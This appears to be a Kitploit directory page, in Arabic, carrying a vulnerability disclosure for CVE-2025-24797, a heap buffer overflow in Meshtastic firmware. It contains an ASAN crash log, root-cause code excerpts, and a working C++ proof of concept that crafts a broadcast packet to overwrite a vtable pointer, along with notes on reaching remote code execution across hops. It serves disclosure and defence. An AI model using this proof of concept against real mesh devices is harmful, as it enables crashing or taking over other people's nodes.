Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/alainx277/cve-2025-24797
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيأمن الشبكات اللاسلكيةاستغلال الملفات الثنائية
GitHubalainx277/cve-2025-24797

CVE-2025-24797

ثغرة تجاوز سعة المخزن المؤقت في Meshtastic - CVE-2025-24797

عرض المستودع
23منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-24797

CVE-2025-24797 التفاصيل - NVD

الملخص

يؤدي عطل في معالجة حزم الشبكة (mesh) التي تحتوي على بيانات protobuf غير صالحة إلى حدوث تجاوز في السعة (buffer overflow) يتحكم فيه المهاجم، مما يسمح له باختطاف تدفق التنفيذ، وربما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE). لا يتطلب هذا الهجوم مصادقة أو تفاعل المستخدم، طالما أن الجهاز الهدف يعيد بث الحزم على القناة الافتراضية.

السبب الجذري

تم اكتشاف الثغرة الأمنية في الأصل باستخدام تقنية التمويه (fuzzing)، مما أدى إلى إحباط ASAN التالي:

root@kitploit:~
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN  | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO  | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO  | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
    #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
    #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
    #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
    #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
    #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
    #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #8 0x55f23a154893 in loop src/main.cpp:1259
    #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)

0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
    #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
    #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
    #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
    #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
    #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
    #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
    #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
    #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
    #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
    #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
    #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
    #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
    #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #15 0x55f23a154893 in loop src/main.cpp:1259
    #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6992==ABORTING

يحدث التلف عندما يتم إرسال حزمة أثناء عملية memcpy، حيث يتم نسخ البايتات المشفرة إلى radioBuffer. يحتوي الحقل p->encrypted.size على قيمة أكبر من حجم radioBuffer.payload (240 بايت).

root@kitploit:~
// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

سبب قيمة الحجم غير الصالحة هو خطأ منطقي يحدث عند فك تشفير الحزم. يتم فك تشفير بيانات الحزمة المفكوكة باستخدام pb_decode_from_bytes، مع كون الوجهة هي بنية الحزمة المستلمة p.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // Try to decrypt the packet if we can
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // Take those raw bytes and convert them back into a well structured protobuf we can understand
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

إذا كان فك التشفير ناجحًا، يتم تعيين decrypted إلى true ويتم تحديث which_payload_variant بشكل صحيح إلى meshtastic_MeshPacket_decoded_tag.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // parsing was successful
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded

    // ...

ومع ذلك، إذا كان فك التشفير غير ناجح، فلن يتم تحديث which_payload_variant. نظرًا لأن p->encrypted و p->decoded يتم تنفيذهما باستخدام union وتتداخل مناطق ذاكرتهما، فإن البيانات الموجودة في p->encrypted قد تلفت بالبيانات الجزئية التي تم فك تشفيرها بواسطة pb_decode_from_bytes، مما يجعل استخدامها غير آمن.

نظرًا لأن العقد تعيد بث الحزم المستلمة افتراضيًا، يتم جدولة الحزمة التالفة للإرسال. في RadioInterface::beginSending، يتحقق الكود بشكل صحيح من أن الحزمة بتنسيق مشفر، ويفترض أن الوصول إلى p->encrypted آمن، مما يؤدي إلى تمرير الحجم التالف إلى memcpy، مما قد يتسبب في تجاوز سعة المخزن المؤقت.

إثبات المفهوم (PoC)

هذا مثال على كود يوضح كيفية إرسال رسالة ضارة تؤدي إلى تشغيل الثغرة الأمنية.

root@kitploit:~
uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);

وإليك العقدة المستقبلة وهي تتعطل أثناء محاولة تحميل مؤشر الجدول الافتراضي الذي تم استبداله:

402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585

التأثير

لدى المهاجم سيطرة على حجم ومحتويات المخزن المؤقت لأن البيانات المكتوبة تستند إلى بيانات الحزمة المشفرة التي يتم فك تشفيرها. عن طريق تعديل حجم memcpy، يمكن للمهاجم إتلاف هياكل البيانات الموجودة في الكومة (heap)، مما يؤدي إلى رفض الخدمة (DoS).

كما أن للمهاجم سيطرة على جزء محدود من المنطقة الممتلئة، لأن بنية meshtastic_Packet أكبر من RadioBuffer الوجهة. بعد radioBuffer، تتبع ثلاثة حقول هيكلية: int8_t power; float savedFreq; uint32_t savedChannelNum. لا تُستخدم هذه الحقول أثناء التشغيل ويمكن الكتابة فوقها بأمان. بعد هذه الحقول، يأتي مؤشر الجدول الافتراضي لـ concurrency::NotifiedWorkerThread. من خلال الكتابة فوق هذا المؤشر، يمكن للمهاجم توجيه التنفيذ بشكل تعسفي في المرة التالية التي يتم فيها تشغيل الخيط، مما قد يسمح بتنفيذ تعليمات برمجية عن بُعد.

نقدر أن استغلال RCE عملي بسيط نسبيًا على الأنظمة المضمنة التي لا تحتوي على ASLR أو حماية تنفيذ الذاكرة، حيث يمكن للمهاجم تضمين شيل كود (shellcode) مباشرة داخل الحزمة. إذا كانت حماية تنفيذ الذاكرة موجودة، فقد يتمكن المهاجم من تحقيق RCE أو سلوك تخريبي آخر عن طريق استدعاء الأساليب الموجودة داخل البرنامج الثابت. إذا كان ASLR موجودًا، فإننا نفترض أن هناك حاجة إلى ثغرة أمنية أخرى لتسريب العناوين.

يمكن إساءة استخدام هذه الثغرة الأمنية حتى على العقد التي تبعد عدة قفزات. نظرًا لأن الحزمة تُعاد بثها، يمكن للمهاجم تضمين مراحل متعددة من البيانات المشفرة غير الصالحة، حيث تقوم المراحل الأولية بالكتابة فوق حقل الحجم بقيم صالحة. سيتم فك حزم البيانات في كل قفزة حتى يتم تشغيل الكتابة النهائية.

تنزيل الأداة